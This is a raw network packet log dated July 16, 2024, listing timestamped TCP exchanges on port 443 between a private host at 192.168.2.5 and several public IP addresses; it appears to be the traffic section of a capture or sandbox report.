Jul 16, 2024 13:07:08.750726938 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:08.750814915 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:08.751128912 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:08.751142979 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.311311007 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.314054012 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.314064980 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.315244913 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.315674067 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.315841913 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.315866947 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.315947056 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.316145897 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.323143959 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.324037075 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.324064970 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.324608088 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.327270031 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.327364922 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.327399015 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.356535912 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.372533083 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.536524057 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.536850929 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.572710037 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.572916985 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.573106050 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.573594093 CEST	49855	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.573611021 CEST	443	49855	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.720891953 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.720943928 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.720993996 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.721024036 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.721059084 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.721923113 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.721976995 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.723876953 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.723895073 CEST	443	49858	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:09.723906040 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.723943949 CEST	49858	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:09.873759985 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.873788118 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:09.873970985 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.874598026 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:09.874608994 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.049072027 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:10.049096107 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.049360991 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:10.049535990 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:10.049542904 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.288239002 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.288302898 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.288402081 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.288597107 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.288636923 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.451400042 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.453155041 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.453169107 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.453519106 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.454082012 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.454144955 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.454444885 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.454471111 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.454502106 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.454515934 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.457473993 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.457511902 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.457598925 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.458287001 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.458302975 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.627249956 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.627295017 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.627429962 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.627624989 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.627665997 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:10.627676010 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.628551960 CEST	49870	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.628570080 CEST	443	49870	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.629301071 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.629869938 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:10.630049944 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.630292892 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:10.630343914 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:10.873054028 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.884212971 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.884252071 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.885447025 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.887731075 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.887917995 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.887973070 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:10.888076067 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:10.997212887 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.021806002 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.021855116 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.022013903 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:11.022022963 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.022357941 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.022423983 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:11.024954081 CEST	49874	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:11.024962902 CEST	443	49874	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.032500982 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.032830000 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.032849073 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.033162117 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.033478975 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.033539057 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.033677101 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.033706903 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.033725977 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.033762932 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.092358112 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.092389107 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.092505932 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.095312119 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.095324993 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.215858936 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.215929031 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.216147900 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.219177008 CEST	49880	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.219209909 CEST	443	49880	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.257514000 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.257608891 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.257872105 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.258757114 CEST	49878	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.258769989 CEST	443	49878	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.562372923 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:11.562405109 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.562453032 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:11.562849998 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:11.562861919 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:11.660085917 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.688919067 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.688941002 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.689430952 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.691461086 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.691538095 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.691786051 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.691817999 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.691845894 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.691876888 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.691900015 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.691906929 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.691943884 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:11.691971064 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.956095934 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.956311941 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:11.956367970 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.012135029 CEST	49883	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.012151957 CEST	443	49883	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.106174946 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.106237888 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.106302023 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.106652021 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.106686115 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.149032116 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.149260044 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.149281979 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.150471926 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.150803089 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.150969982 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.150976896 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.192523956 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.203645945 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.331024885 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.331051111 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.331098080 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.331113100 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.331167936 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.331249952 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.332307100 CEST	49893	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.332320929 CEST	443	49893	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.335115910 CEST	49703	443	192.168.2.5	23.1.237.91
Jul 16, 2024 13:07:12.340110064 CEST	443	49703	23.1.237.91	192.168.2.5
Jul 16, 2024 13:07:12.671171904 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.671201944 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.671426058 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.672610044 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.672622919 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.686099052 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.686458111 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.686486006 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.686867952 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.687212944 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.687323093 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.687352896 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.687395096 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.852592945 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.852644920 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.852670908 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.853246927 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.853254080 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.853282928 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.853307962 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.853316069 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.853339911 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.854084969 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.854094982 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.854151011 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.854161024 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.854304075 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.943273067 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.943281889 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.943365097 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.943820953 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.943846941 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.943877935 CEST	443	49897	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:12.943877935 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.943928003 CEST	49897	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:12.952158928 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.952207088 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:12.952272892 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.952480078 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:12.952517033 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.241978884 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.242604971 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.242614031 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.243094921 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.243534088 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.243617058 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.243745089 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.288511992 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.527566910 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.527787924 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.527822971 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.528188944 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.528713942 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.528784037 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.528944016 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.576498985 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.622334003 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.624815941 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.625124931 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.639575005 CEST	49902	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.639590979 CEST	443	49902	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.736505985 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.736663103 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.907170057 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.907201052 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.907264948 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.907277107 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.907344103 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.907766104 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.907773972 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.907829046 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.907839060 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.913054943 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.913130999 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.913147926 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.913214922 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.995083094 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.995157003 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:13.995168924 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.995182037 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:13.995229959 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:14.099948883 CEST	49907	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:14.100001097 CEST	443	49907	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:16.769735098 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:16.769785881 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:16.769840956 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:16.770149946 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:16.770165920 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.209470987 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.209497929 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.209696054 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.210550070 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.210580111 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.210638046 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.211286068 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.211304903 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.211663961 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.211678028 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.440071106 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.440417051 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.440440893 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.442082882 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.442147970 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.443470955 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.443557024 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.443816900 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.443825006 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.496577978 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.638470888 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638504982 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638514996 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638533115 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638540983 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638547897 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638587952 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.638607025 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.638639927 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.638657093 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.727260113 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.727303028 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.727349043 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.727369070 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.727385998 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.727406979 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.727437973 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.728035927 CEST	49935	443	192.168.2.5	13.107.246.60
Jul 16, 2024 13:07:17.728054047 CEST	443	49935	13.107.246.60	192.168.2.5
Jul 16, 2024 13:07:17.767612934 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:17.767659903 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:17.767735004 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:17.768430948 CEST	49945	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:17.768461943 CEST	443	49945	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:17.783360958 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.783551931 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.783576965 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.784784079 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.785151958 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.785330057 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.785429955 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.785485983 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.798198938 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.798629045 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.798639059 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.798974037 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.799417019 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.799474001 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.799572945 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.799597979 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.799813986 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.799845934 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.799931049 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.799943924 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.800052881 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.800060034 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:17.800071955 CEST	49942	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:17.800081968 CEST	443	49942	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.049478054 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.049696922 CEST	443	49943	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:18.052275896 CEST	49943	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:18.054239988 CEST	49943	443	192.168.2.5	52.108.8.12
